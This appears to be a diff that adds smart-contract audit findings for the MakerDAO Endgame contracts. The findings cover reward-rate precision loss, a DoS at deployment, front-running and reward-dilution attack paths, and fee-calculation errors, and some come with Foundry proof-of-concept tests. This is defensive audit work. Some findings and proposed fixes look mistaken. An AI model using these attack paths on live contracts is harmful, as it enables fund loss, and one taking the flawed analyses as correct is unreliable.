diff --git a/.gitignore b/.gitignore deleted file mode 100644 index 3fbffbb..0000000 --- a/.gitignore +++ /dev/null @@ -1,10 +0,0 @@ -* -!*/ -!/.data -!/.github -!/.gitignore -!/README.md -!/comments.csv -!*.md -!**/*.md -!/Audit_Report.pdf diff --git a/001.md b/001.md new file mode 100644 index 0000000..1310a30 --- /dev/null +++ b/001.md @@ -0,0 +1,118 @@ +Helpful Dijon Spider + +Medium + +# Calling `SNStInit` just 1 block after `SNstDeploy` will always revert and deposits will be stuck getting no yield + +### Summary + +Not calling `SNst::drip()` before `SNst::file()` in `SNstInit::init()` will DoS the protocol until a manual fix is applied. Depositing at the same block that `SNst` is deployed will get the funds stuck getting no yield until the manual fix comes through. + +### Root Cause + +[SNst::init()](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/sdai/deploy/SNstInit.sol#L62-L64) does not call `SNst::drip()` before `SNst::file()`: +```solidity +function init( + ... +) internal { + ... + dss.vat.rely(instance.sNst); + //@audit note that SNst::drip() is not called, which reverts if block.timestamp != rho + SNstLike(instance.sNst).file("nsr", cfg.nsr); + ... +} +``` +So it reverts on [SNst::file()](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/sdai/src/SNst.sol#L206): +```solidity +function file(bytes32 what, uint256 data) external auth { + ... + require(rho == block.timestamp, "SNst/chi-not-up-to-date"); + ... +} +``` +Additionally, deposits can be made when `block.timestamp == rho`, as `SNst::drip()` does [not](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/sdai/src/SNst.sol#L226) call `vat::suck()`, which is what makes it revert as `vat::rely()` has not yet been set. After 1 block, they can not withdraw because `block.timestamp != rho` and `SNst::drip()` calls [vat::suck()](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/sdai/src/SNst.sol#L221), which reverts. +```solidity +function drip() public returns (uint256 nChi) { + ... + if (block.timestamp > rho_) { + ... + vat.suck(address(vow), address(this), diff * RAY); //@audit reverts before vat::rely() is called in SNstInit + ... + } else { //@audit when block.timestamp == rho it goes here, allowing deposits + nChi = chi_; + } + ... +} +``` + + +### Internal pre-conditions + +1. `SNstInit::init()` must not be called in the same block `SNstDeploy::deploy()` is called. + +### External pre-conditions + +None. + +### Attack Path + +1. `SNstDeploy::deploy()` deploys the token. +2. `$NST` is deposited into `SNst` in the same block of the deployment. +3. Unless `SNstInit::init()` is called in the same block as the previous 2 points, it will be impossible to withdraw and deposits will get no yield. + +### Impact + +Funds are stuck until a manual `Vat::rely()` call is made allowing `SNst::drip()` to be called which allows withdrawals. When this call happens some time in the future, yield will be lost because the `nsr` is initially set to `1`, so deposits will get no interest. + +### PoC + +Add the following test to `SNst-integration.t.sol`: +```solidity +function testStuckDeposit() public { + SNstInstance memory inst = SNstDeploy.deploy(address(this), pauseProxy, address(nstJoin)); + token = SNst(inst.sNst); + + address user = makeAddr("user"); + vm.startPrank(user); + deal(address(nst), user, 100 ether); + nst.approve(address(token), type(uint256).max); + token.deposit(100 ether, user); + vm.stopPrank(); + + skip(1); + + vm.startPrank(pauseProxy); + vm.expectRevert("SNst/chi-not-up-to-date"); + token.file("nsr", 1000000001547125957863212448); // init lib would also revert + vm.stopPrank(); + + vm.startPrank(user); + vm.expectRevert("Vat/not-authorized"); // drip() fails as rely() was not called + token.redeem(100 ether, user, user); +} +``` + +### Mitigation + +`SNst::init()` must call `SNst::drip()` before `SNst::file()`: +```solidity +function init( + ... +) internal { + ... + dss.vat.rely(instance.sNst); + + SNstLike(instance.sNst).drip(); //@audit add this so SNst::file() does not revert + + SNstLike(instance.sNst).file("nsr", cfg.nsr); + ... +} +``` +Additionally, deposits must not be allowed at the block `SNst::deploy()` is called, or they will be stuck until `SNst::init()` is executed, which could take some time. The easiest fix is to set `rho` 1 block in the past, such that deposits will revert on `SNst::drip()` when calling `vat::suck()` before `vat::rely()` has been called in `SNst::init()`: +```solidity +function initialize() initializer external { + ... + rho = uint64(block.timestamp - 1); //@audit this stops deposits before SNst::init() is called + ... +} +``` \ No newline at end of file diff --git a/001/002.md b/001/002.md new file mode 100644 index 0000000..7b20875 --- /dev/null +++ b/001/002.md @@ -0,0 +1,77 @@ +Cuddly Inky Rat + +Medium + +# PrecisionLoss in NotifyRewardAmount + +## Summary +The `notifyRewardAmount` function in the smart contract has an incorrect validation mechanism for the reward rate. The current implementation uses integer division to check if the reward rate is within the contract's balance, leading to potential precision loss and incorrect validation, especially over long durations like 7 days. This can cause the function to pass invalid reward rates, resulting in incorrect reward distributions. +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/synthetix/StakingRewards.sol#L144 +## Vulnerability Detail +The require statement intended to validate the reward rate uses integer division, which truncates the result, leading to potential precision loss. This can result in an incorrect validation of the reward rate, particularly in scenarios where the division leads to unexpected results due to truncation. + +rewardsDuration = 7 days = 604800 seconds +balance = 1000000 tokens +rewardRate initially set to 0 + +Let's say we want to set reward = 500000 tokens. +```solidity +rewardRate = reward / rewardsDuration; // 500000 / 604800 ≈ 0.826 tokens per second +``` +```solidity +balance / rewardsDuration = 1000000 / 604800 ≈ 1.653 tokens per second (integer division truncates to 1) +``` +rewardRate ≈ 0.826 +balance / rewardsDuration ≈ 1 + +Since 0.826 <= 1, the require statement passes. + +Let assume a scenario where the balance is less than the RewardDuration due to reduction of balance and of that. +Assume balance = 10000 tokens and rewardsDuration = 7 days = 604800 seconds. + +```solidity +rewardRate = reward / rewardsDuration; // 4 / 604800 ≈ 0 (since 4 < 604800) +``` +```solidity +balance / rewardsDuration = 10 / 604800 ≈ 0 (integer division truncates to 0) +``` +rewardRate = 0 +balance / rewardsDuration = 0 + +Since 0 <= 0, the require statement passes. However, let's look at what happens in terms of rewards distribution: + +Total distributed reward: rewardRate * rewardsDuration = 0 * 604800 = 0 tokens. +Given reward: 4 tokens. + +## Impact + Precision loss in the balance of tokens to be distributed to the stakers, resulting in incorrect reward distributions. + +## Code Snippet +```solidity +function notifyRewardAmount(uint256 reward) external override onlyRewardsDistribution updateReward(address(0)) { + if (block.timestamp >= periodFinish) { + rewardRate = reward / rewardsDuration; + } else { + uint256 remaining = periodFinish - block.timestamp; + uint256 leftover = remaining * rewardRate; + rewardRate = (reward + leftover) / rewardsDuration; + } + + // Ensure the provided reward amount is not more than the balance in the contract. + // This keeps the reward rate in the right range, preventing overflows due to + // very high values of rewardRate in the earned and rewardsPerToken functions; + // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. + uint256 balance = rewardsToken.balanceOf(address(this)); + require(rewardRate <= balance / rewardsDuration, "Provided reward too high"); + + lastUpdateTime = block.timestamp; + periodFinish = block.timestamp + rewardsDuration; + emit RewardAdded(reward); +} +``` +## Tool used + +Manual Review + +## Recommendation +You could accumulate the differences that occur due to precision/truncation and let users claim them at the end and according to their shares \ No newline at end of file diff --git a/001/003.md b/001/003.md new file mode 100644 index 0000000..4a87ab2 --- /dev/null +++ b/001/003.md @@ -0,0 +1,112 @@ +Cuddly Inky Rat + +Medium + +# Loss of rewards when distribution occurs caused by # notifyRewardAmount + +## Summary +The distribute function is responsible for distributing rewards that have accrued since the last distribution. It interacts with a vesting contract (dssVest) to fetch the amount of rewards that are due, then transfers these rewards to a staking rewards contract (stakingRewards). Finally, it notifies the staking rewards contract about the new reward amount. + +However the some part of the rewards in the contract will locked due to precision loss and trauncations +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/VestedRewardsDistribution.sol#L152 + +## Vulnerability Detail +When `distirbution` occurs to the function calls stakingRewards.notifyRewardAmount(amount). This function in the StakingRewards contract adjusts the internal accounting to account for the new rewards. + +In the notifyRewardAMount there is sought of precision loss, meaning users get to get less of their notified reward rather than expected, This can be seen here: +```solidity + function notifyRewardAmount(uint256 reward) external override onlyRewardsDistribution updateReward(address(0)) { + if (block.timestamp >= periodFinish) { + rewardRate = reward / rewardsDuration; + } else { + uint256 remaining = periodFinish - block.timestamp; + uint256 leftover = remaining * rewardRate; + rewardRate = (reward + leftover) / rewardsDuration; + } + + // Ensure the provided reward amount is not more than the balance in the contract. + // This keeps the reward rate in the right range, preventing overflows due to + // very high values of rewardRate in the earned and rewardsPerToken functions; + // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. + uint256 balance = rewardsToken.balanceOf(address(this)); + require(rewardRate <= balance / rewardsDuration, "Provided reward too high"); + + lastUpdateTime = block.timestamp; + periodFinish = block.timestamp + rewardsDuration; + emit RewardAdded(reward); + } + +``` +How can this occur, if you look at the function logic you can see that there can be a precision loss because of the way the integer is been handled, Solidity only supports integer division, which can result in precision loss. This precision loss can become significant when dealing with reward rates and durations, causing the calculations to deviate from the expected values. + +The staking rewards contract is initialized with a `rewardsDuration` of 7 days (604800 seconds). +The `periodFinish` is the timestamp when the current reward period ends. +Initially, rewardRate is 0, and the contract has a balance of 1000 `rewardsToken`. + +Assume the current `periodFinish` is `July 1st, 2024`, and Alice adds a reward on `July 2nd, 2024` (after the current period has finished). +Alice calls `notifyRewardAmount` with reward = 700. + +Since `block.timestamp` is after `periodFinish`, the condition `block.timestamp` >= `periodFinish` is true. +The `rewardRate` is calculated as `reward` / `rewardsDuration`, which is 700 / 604800 = 0 (due to integer division). + +The balance in the contract is 1000 tokens. +`balance / rewardsDuration` is 1000 / 604800 = 0 (due to integer division). +The check `require(rewardRate <= 0)` is true since rewardRate is 0. +The function proceeds without reverting. + +`lastUpdateTime` is updated to the current timestamp `(July 2nd, 2024).` +`periodFinish` is set to July 9th, 2024. +RewardAdded event is emitted with reward = 700. + +The rewardRate is set to 0 due to integer division (700 / 604800). +This means no rewards will be distributed over the new period despite adding 700 tokens. + + +## Impact +This indicates a significant issue because the actual reward distribution does not match the intended reward + +## Code Snippet +```solidity +function distribute() external returns (uint256 amount) { + require(vestId != INVALID_VEST_ID, "VestedRewardsDistribution/invalid-vest-id"); + + amount = dssVest.unpaid(vestId); + require(amount > 0, "VestedRewardsDistribution/no-pending-amount"); + + lastDistributedAt = block.timestamp; + dssVest.vest(vestId, amount); + + require(gem.transfer(address(stakingRewards), amount), "VestedRewardsDistribution/transfer-failed"); + stakingRewards.notifyRewardAmount(amount); + + emit Distribute(amount); + } +``` +```solidity + function notifyRewardAmount(uint256 reward) external override onlyRewardsDistribution updateReward(address(0)) { + if (block.timestamp >= periodFinish) { + rewardRate = reward / rewardsDuration; + } else { + uint256 remaining = periodFinish - block.timestamp; + uint256 leftover = remaining * rewardRate; + rewardRate = (reward + leftover) / rewardsDuration; + } + + // Ensure the provided reward amount is not more than the balance in the contract. + // This keeps the reward rate in the right range, preventing overflows due to + // very high values of rewardRate in the earned and rewardsPerToken functions; + // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. + uint256 balance = rewardsToken.balanceOf(address(this)); + require(rewardRate <= balance / rewardsDuration, "Provided reward too high"); + + lastUpdateTime = block.timestamp; + periodFinish = block.timestamp + rewardsDuration; + emit RewardAdded(reward); + } +``` + +## Tool used +Manual Review + +## Recommendation +Find a way to prevent precision loss, either by using safeMath because the notifyRewardAmount shouldn't be in anyway decreasing. \ No newline at end of file diff --git a/001/055.md b/001/055.md new file mode 100644 index 0000000..f0ac59a --- /dev/null +++ b/001/055.md @@ -0,0 +1,40 @@ +Soft Turquoise Turtle + +Medium + +# StakingRewards: Significant loss of precision possible + +## Summary +In notifyRewardAmount, the reward rate per second is calculated. This calculation rounds down, which can lead to situations where significantly less rewards are paid out to stakers, because the effect of the rounding is multiplied by the duration. +## Vulnerability Detail + function notifyRewardAmount(uint256 reward) external override onlyRewardsDistribution updateReward(address(0)) { + if (block.timestamp >= periodFinish) { + rewardRate = reward / rewardsDuration; + } else { + uint256 remaining = periodFinish - block.timestamp; + uint256 leftover = remaining * rewardRate; + rewardRate = (reward + leftover) / rewardsDuration; + } + + // Ensure the provided reward amount is not more than the balance in the contract. + // This keeps the reward rate in the right range, preventing overflows due to + // very high values of rewardRate in the earned and rewardsPerToken functions; + // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. + uint256 balance = rewardsToken.balanceOf(address(this)); + require(rewardRate <= balance / rewardsDuration, "Provided reward too high"); + + lastUpdateTime = block.timestamp; + periodFinish = block.timestamp + rewardsDuration; + emit RewardAdded(reward); + } +## Impact +et's say we have a rewardsDuration of 4 years, i.e. 126144000 seconds. We assume the rewardRate is currently ß and notifyRewardAmount is called with the reward amount 252287999. Because the calculation rounds down, rewardRate will be 1. After the 4 years, the user have received 126144000 reward tokens. However, 126143999 (i.e., almost 50%) of the reward tokens that were intended to be distributed to the stakers were not distributed, resulting in monetary loss for all stakers. +function notifyRewardAmount(uint256 _reward, uint256 _rewardUsdc) +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/synthetix/StakingRewards.sol#L144C4-L163C6 +## Tool used + +Manual Review + +## Recommendation +You could accumulate the differences that occur due to rounding and let the users claim them in the end according to their shares. \ No newline at end of file diff --git a/001/056.md b/001/056.md new file mode 100644 index 0000000..609eada --- /dev/null +++ b/001/056.md @@ -0,0 +1,40 @@ +Soft Turquoise Turtle + +Medium + +# stakingRewards reward rate can be dragged out and diluted + +## Summary +stakingRewards reward rate can be dragged out and diluted +## Vulnerability Detail + function notifyRewardAmount(uint256 reward) external override onlyRewardsDistribution updateReward(address(0)) { + if (block.timestamp >= periodFinish) { + rewardRate = reward / rewardsDuration; + } else { + uint256 remaining = periodFinish - block.timestamp; + uint256 leftover = remaining * rewardRate; + rewardRate = (reward + leftover) / rewardsDuration; + } + +## Impact +The StakingRewards.notifyRewardAmount function receives a reward amount and extends the current reward end time to now + rewardsDuration. It rebases the currently remaining rewards + the new rewards (reward + leftover) over this new rewardsDuration period. This can lead to a dilution of the reward rate and rewards being dragged out forever by malicious new reward deposits. + +Imagine the current rewardRate is 1000 rewards / rewardsDuration. + +20% of the rewardsDuration passed, i.e., now = lastUpdateTime + 20% * rewardsDuration. + +A malicious actor notifies the contract with a reward of 0: notifyRewardAmount(0). + +Then the new rewardRate = (reward + leftover) / rewardsDuration = (0 + 800) / rewardsDuration = 800 / rewardsDuration. + +The rewardRate just dropped by 20%. This can be repeated infinitely. After another 20% of reward time passed, they trigger notifyRewardAmount(0) to reduce it by another 20% again: rewardRate = (0 + 640) / rewardsDuration = 640 / rewardsDuration. +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/synthetix/StakingRewards.sol#L144C4-L163C6 +## Tool used + +Manual Review + +## Recommendation +The rewardRate should never decrease by a notifyRewardAmount call. Consider not extending the reward payouts by rewardsDuration on every call. periodFinish probably shouldn't change at all, the rewardRate should just increase by rewardRate += reward / (periodFinish - block.timestamp). + +Alternatively, consider keeping the rewardRate constant but extend periodFinish time by += reward / rewardRate. \ No newline at end of file diff --git a/001/057.md b/001/057.md new file mode 100644 index 0000000..bc029c6 --- /dev/null +++ b/001/057.md @@ -0,0 +1,72 @@ +Soft Turquoise Turtle + +Medium + +# Rewards for initial period can be lost in contracts + +## Summary +This function calculates the reward rate per second and also records the start of the reward period. This has an edge case where rewards are not counted for the initial period of time until there is at least one participant. +## Vulnerability Detail + function notifyRewardAmount(uint256 reward) external override onlyRewardsDistribution updateReward(address(0)) { + if (block.timestamp >= periodFinish) { + rewardRate = reward / rewardsDuration; + } else { + uint256 remaining = periodFinish - block.timestamp; + uint256 leftover = remaining * rewardRate; + rewardRate = (reward + leftover) / rewardsDuration; + } + + // Ensure the provided reward amount is not more than the balance in the contract. + // This keeps the reward rate in the right range, preventing overflows due to + // very high values of rewardRate in the earned and rewardsPerToken functions; + // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. + uint256 balance = rewardsToken.balanceOf(address(this)); + require(rewardRate <= balance / rewardsDuration, "Provided reward too high"); + + lastUpdateTime = block.timestamp; + periodFinish = block.timestamp + rewardsDuration; + emit RewardAdded(reward); + } + +## Impact +The intention here, is to calculate how many tokens should be rewarded by unit of time (second) and record the span of time for the reward cycle. However, this has an edge case where rewards are not counted for the initial period of time until there is at least one participant (in this case, a holder of BathTokens). During this initial period of time, the reward rate will still apply but as there isn't any participant, then no one will be able to claim these rewards and these rewards will be lost and stuck in the system. + +This is a known vulnerability that has been covered before. The following reports can be used as a reference for the described issue: + +(https://0xmacro.com/blog/synthetix-staking-rewards-issue-inefficient-reward-distribution/) +https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/93 +As described by the 0xmacro blogpost, this can play out as the following: + +Let's consider that you have a StakingRewards contract with a reward duration of one month seconds (2592000): + +Block N Timestamp = X + +You call notifyRewardAmount() with a reward of one month seconds (2592000) only. The intention is for a period of a month, 1 reward token per second should be distributed to stakers. + +State : + +rewardRate = 1 +periodFinish = X + 2592000 +Block M Timestamp = X + Y + +Y time has passed and the first staker stakes some amount: + +stake() +updateReward +rewardPerTokenStored = 0 +lastUpdateTime = X + Y +Hence, for this staker, the clock has started from X+Y, and they will accumulate rewards from this point. + +Please note, that the periodFinish is X + rewardsDuration, not X + Y + rewardsDuration. Therefore, the contract will only distribute rewards until X + rewardsDuration, losing Y * rewardRate => Y * 1 inside of the contract, as rewardRate = 1 (if we consider the above example). + +Now, if we consider delay (Y) to be 30 minutes, then: + +Only 2590200 (2592000-1800) tokens will be distributed and these 1800 tokens will remain unused in the contract until the next cycle of notifyRewardAmount(). +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/synthetix/StakingRewards.sol#L144C4-L163C6 +## Tool used + +Manual Review + +## Recommendation + possible solution to the issue would be to set the start and end time for the current reward cycle when the first participant joins the reward program (i.e. when the total supply is greater than zero) instead of starting the process in the notifyRewardAmount. \ No newline at end of file diff --git a/001/108.md b/001/108.md new file mode 100644 index 0000000..aa0beac --- /dev/null +++ b/001/108.md @@ -0,0 +1,67 @@ +Fantastic Spruce Perch + +Medium + +# Lack of time gap restrictions on the `distribute` call allows for sizeable loss on the rewarded distribution + +## Summary +Lack of time gap restrictions on the `distribute` call allows for sizeable loss on the rewarded distribution + +## Vulnerability Detail +The `distribute` function which distributes the reward to the staking contract (from the vest) doesn't enforce any time gap b/w calls and is callable by the public + +```solidity + function distribute() external returns (uint256 amount) { + require(vestId != INVALID_VEST_ID, "VestedRewardsDistribution/invalid-vest-id"); + + + amount = dssVest.unpaid(vestId); + require(amount > 0, "VestedRewardsDistribution/no-pending-amount"); + + + lastDistributedAt = block.timestamp; + dssVest.vest(vestId, amount); + + + require(gem.transfer(address(stakingRewards), amount), "VestedRewardsDistribution/transfer-failed"); + stakingRewards.notifyRewardAmount(amount); + + + emit Distribute(amount); + } +``` + +This allows a user to invoke the distribute function in the lowest possible interval (ie. block period == 12s) which would yield the lowest reward which could result to a reward rate of 0 (or a significant loss) depending on the other configurations like reward duration, total staked amount and the vesting parameters + +### Example POC +The following test shows a possible loss of > 0.5% for the same: +```solidity + function testRewardNullify() public { + // 10million totalSupply, 5% return, 500k worth of mkr. 500k worth mkr = 500k/ 3k == 166mkr + uint reward = 250e18; + uint yearTime = 365 days; + // for 12 second, reward + uint perBlock = reward * 12 / yearTime; + uint rewardRate = perBlock / 7 days; + + uint daiSupply = 1e25; + + uint rewardPerToken = rewardRate * 12 * 1e18 / daiSupply; + + assert(rewardPerToken == 125); + // == 125, possible loss is 1 due to rounding, so loss % = 1/125 * 100 > 0.5% + + } +``` + +## Impact +A sizeable portion of the reward tokens can be lost + +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/endgame-toolkit/src/VestedRewardsDistribution.sol#L152 + +## Tool used +Manual Review + +## Recommendation +Enforce a timegap b/w the distributions \ No newline at end of file diff --git a/001/117.md b/001/117.md new file mode 100644 index 0000000..c72f547 --- /dev/null +++ b/001/117.md @@ -0,0 +1,77 @@ +Dry Foggy Terrier + +High + +# `distribute` can be DOSed by an attacker + + +## Summary + +The `VestedRewardsDistribution::distribute` can be bricked leading to users not able to earn rewards. +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/VestedRewardsDistribution.sol#L152-L166 +https://github.com/makerdao/dss-vest/blob/19a9d663bb3a2737f1f0c763365f1dfc6788aad2/src/DssVest.sol#L232-L241 + +## Description +Anyone can call `VestedRewardsDistribution.distribute` which calls `StakingReward.notifyRewardAmount` and distributes the accumulated rewards to the users and sets a new periodFinish. + +When a user calls `distribute`, the `unpaid` returns the amount of vested which is claimable and it makes a call to the `dssVest.vest` with the said amount in order to mint the required gem tokens needed. The `dssVest.vest` also has an implementation that gets the current `unpaid` amount and compares it with the unpaid amount from the `distribute` function in order to get the minimum value. + +The vulnerability lies in the fact that a malicious user can advantage of this by DOSing the distribute function making it difficult or impossible for legit users to earn rewards. + +The `unpaid` gotten in `distribute` might be different from the `unpaid` from the `vest`, and in this case the minimum is being selected according to this line from the `dssVest.vest` function -> +- `amt = min(amt, _maxAmt);` + + +```solidity + function _vest(uint256 _id, uint256 _maxAmt) internal lock { + Award memory _award = awards[_id]; + require(_award.usr != address(0), "DssVest/invalid-award"); + require(_award.res == 0 || _award.usr == msg.sender, "DssVest/only-user-can-claim"); + uint256 amt = unpaid(block.timestamp, _award.bgn, _award.clf, _award.fin, _award.tot, _award.rxd); + amt = min(amt, _maxAmt); + awards[_id].rxd = toUint128(add(_award.rxd, amt)); + pay(_award.usr, amt); + emit Vest(_id, amt); + } +``` + +From the above, the amount to be minted to the the `VestedRewardsDistribution` contract is based on the `amt = min(amt, _maxAmt);` which selects the min between the `amt` and `_maxAmt`. In the case whereby the selected amount is the `amt` , it mints a lesser amount to the `VestedRewardsDistribution` when this happens, the `distribute()` tries to the initial amount to the `stakingRewards` contract. However, the transaction is going to fail because the specified amount will be insufficient. + + +**Attack scenario** +- Malicious user `stake` some amounts +- Malicious user monitors the memepool for potential `distribute` calls. +- Legit User calls `distribute` +- `distribute` calculates amount as -> amount = dssVest.unpaid(vestId); +- Malicious front runs the tx and `withdraw` his staked amount +- `dssVest.vest` function is being called +- amount returned from `dssVest.vest` => amt = min(amt, _maxAmt); which is now lesser(minus malicious actors amount) +- `dssVest.vest` mints `amt` tokens to the `VestedRewardsDistribution` contract +- transfer in `distribution` fails due to contract not having enough tokens as the amount minted from `dssVest.vest` is lesser than what he is trying to send + + +## Impact +`distribute` can be DOSed making it very difficult or impossible for legit users to earn rewards + +## POC + +```solidity + function distribute() external returns (uint256 amount) { + require(vestId != INVALID_VEST_ID, "VestedRewardsDistribution/invalid-vest-id"); + + amount = dssVest.unpaid(vestId); + require(amount > 0, "VestedRewardsDistribution/no-pending-amount"); + + lastDistributedAt = block.timestamp; + dssVest.vest(vestId, amount); + + require(gem.transfer(address(stakingRewards), amount), "VestedRewardsDistribution/transfer-failed"); //@audit the transfer here will fail due to the fact the amount of gem minted to this contract is smaller than the amount of gem its trying to send to the stakingRewards due to the fact that it is getting the unpaid twice, both here and in the vest function + stakingRewards.notifyRewardAmount(amount); + + emit Distribute(amount); + } +``` + +## Recommendation +Remove the `unpaid` logic from the `distribute()` function and only use the one from the `dssVest.vest` + diff --git a/001/123.md b/001/123.md new file mode 100644 index 0000000..3e32345 --- /dev/null +++ b/001/123.md @@ -0,0 +1,77 @@ +Muscular Tangerine Puma + +Medium + +# Permissionless distribute() function can extend the period finish time + +## Summary +Anyone could extend the reward finish time by calling permissionless `distribute()` function from `VestedRewardsDistribution.sol`, potentially resulting in users receiving fewer rewards than expected within the same time period. +## Vulnerability Detail +The only requirement for calling this function is if the amount is greater than 0: +```solidity +function distribute() external returns (uint256 amount) { + require(vestId != INVALID_VEST_ID, "VestedRewardsDistribution/invalid-vest-id"); + + amount = dssVest.unpaid(vestId); +>>> require(amount > 0, "VestedRewardsDistribution/no-pending-amount"); + + lastDistributedAt = block.timestamp; + dssVest.vest(vestId, amount); + + require(gem.transfer(address(stakingRewards), amount), "VestedRewardsDistribution/transfer-failed"); +>>> stakingRewards.notifyRewardAmount(amount); + + emit Distribute(amount); + } +``` +```solidity +function notifyRewardAmount(uint256 reward) external override onlyRewardsDistribution updateReward(address(0)) { + if (block.timestamp >= periodFinish) { + rewardRate = reward / rewardsDuration; + } else { + uint256 remaining = periodFinish - block.timestamp; + uint256 leftover = remaining * rewardRate; + rewardRate = (reward + leftover) / rewardsDuration; + } + + uint256 balance = rewardsToken.balanceOf(address(this)); + require(rewardRate <= balance / rewardsDuration, "Provided reward too high"); + + lastUpdateTime = block.timestamp; +>>> periodFinish = block.timestamp + rewardsDuration; + emit RewardAdded(reward); + } +``` +Variable `amount` is calculated based on timestamp and some other variables: +```solidity + /** + @dev amount of tokens accrued, not accounting for tokens paid + @param _time The timestamp to perform the calculation + @param _bgn The start time of the contract + @param _clf The timestamp of the cliff + @param _fin The end time of the contract + @param _tot The total amount of the contract + @param _rxd The number of gems received + @return amt The claimable amount + */ + function unpaid(uint256 _time, uint48 _bgn, uint48 _clf, uint48 _fin, uint128 _tot, uint128 _rxd) internal pure returns (uint256 amt) { + amt = _time < _clf ? 0 : sub(accrued(_time, _bgn, _fin, _tot), _rxd); + } +``` +It is possible for a malicious user to calculate when this function will return very small values, making the attack almost cost-free. Calling this function will break calculations: extend the period finish time and decrease reward rate. +This could result in loss of rewards: if there are 10 DAI rewards within a 10-day period, a malicious user could extend the finish time on day 5, extending the finish time to the 15th day. Participants would only receive 7.5 DAI by the 10th day. +## Impact +Anyonce could extend the reward finish time and the users may receive less rewards than expected during the same time period. +## Code Snippet +[Link 1](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/synthetix/StakingRewards.sol#L144-L163) +[Link 2](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/VestedRewardsDistribution.sol#L146-L166) +## Tool used + +Manual Review + +## Recommendation +Make the function permissioned: +```diff +- function distribute() external returns (uint256 amount) ++ function distribute() external returns (uint256 amount) auth +``` \ No newline at end of file diff --git a/002/020.md b/002/020.md new file mode 100644 index 0000000..226b465 --- /dev/null +++ b/002/020.md @@ -0,0 +1,83 @@ +Cheerful Pewter Sealion + +High + +# Fund Loss due to OverInflation of Burn Value in LockStateEngine Contract + +### Summary + +Fund Loss due to Over Inflation of Burn Value in LockStateEngine.sol Contract as a result of error in fee reduction operation from sold value + +### Root Cause + +In https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol#L442 +```solidity + function onRemove(address urn, uint256 sold, uint256 left) external auth { + uint256 burn; + uint256 refund; + if (left > 0) { + >>> burn = _min(sold * fee / (WAD - fee), left); ❌ + mkr.burn(address(this), burn); + unchecked { refund = left - burn; } + if (refund > 0) { + // The following is ensured by the dog and clip but we still prefer to be explicit + require(refund <= uint256(type(int256).max), "LockstakeEngine/overflow"); + vat.slip(ilk, urn, int256(refund)); + vat.frob(ilk, urn, urn, address(0), int256(refund), 0); + lsmkr.mint(urn, refund); + } + } + urnAuctions[urn]--; + emit OnRemove(urn, sold, burn, refund); + } +``` +The pointer above from the onRemove(...) function shows how fee percentage value is being deducted from sold value to determine burn value, the problem is that the fee percentage is deducted wrongly. WAD is a representation of 100% while fee is a percentage of that 100%, so the correct way to to deduct the fee percentage from sold would have been (WAD - fee )/WAD * sold, so if fee is zero it would simply be WAD/WAD * sold = sold. without any fee deduction. However the current implementation is a complete error as this would only inflate sold value depending on the fee value as fee is made the sole numerator + +### Internal pre-conditions + + From this formular i.e fee / (WAD - fee) and Depending on the value of fee +The more current value of fee set in contract heads towards 100% the more the over inflation from this formular. +The implication of this is that at the extreme case if fee is 99%, then burn calculation becomes + sold * 99 / (100 - 99) = sold * 99, inflating sold and burn value in the multiple of 99 when correct value should be a percentage of sold and not a multiple of it + + +### External pre-conditions + +Due to this part of the formular i.e burn = _min(sold * fee / (WAD - fee), left); , it would be assumed that even if sold is overinflated the function _min(...) ensure the minimum value is selected in comparison to left variable, there the expected external precondition is that the value of left parameter will be set very high by the caller to ensure the overinflated value stands + +### Attack Path + +Once all this factors are in place, the caller calls the onRemove(...) function with a high left value and depending on the fee value, the resulting burn value is overinflated and thereby causing loss of fund in Protocol + +### Impact + +Fund Loss due to Over Inflation of Burn Value in LockStateEngine.sol Contract as a result of error in fee reduction operation from sold value + +### PoC + +_No response_ + +### Mitigation + +As adjusted below the correct way to calculate burn is to ensure it is a fragment percentage of sold with fee deducted +```solidity + function onRemove(address urn, uint256 sold, uint256 left) external auth { + uint256 burn; + uint256 refund; + if (left > 0) { +--- burn = _min(sold * fee / (WAD - fee), left); ++++ burn = _min(sold * (WAD - fee) / (WAD), left); + mkr.burn(address(this), burn); + unchecked { refund = left - burn; } + if (refund > 0) { + // The following is ensured by the dog and clip but we still prefer to be explicit + require(refund <= uint256(type(int256).max), "LockstakeEngine/overflow"); + vat.slip(ilk, urn, int256(refund)); + vat.frob(ilk, urn, urn, address(0), int256(refund), 0); + lsmkr.mint(urn, refund); + } + } + urnAuctions[urn]--; + emit OnRemove(urn, sold, burn, refund); + } +``` \ No newline at end of file diff --git a/002/098.md b/002/098.md new file mode 100644 index 0000000..ac3184b --- /dev/null +++ b/002/098.md @@ -0,0 +1,82 @@ +Docile Velvet Goldfish + +Medium + +# Liquidation withdrawal fee is wrong, overcharging users by a factor of 1/(1-fee) + +## Summary + +The fee math is incorrect for post-liquidation amounts, overcharging them by a multiplicative factor of 1/(1-fee) + +## Vulnerability Detail + +The LockstakeEngine has the goal of charging a fee on all "exits", whether these happen via a `free` or a `liquidation` + +In the ordinary case the fee is assessed as: + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeEngine.sol#L374-L377 + +```solidity +uint256 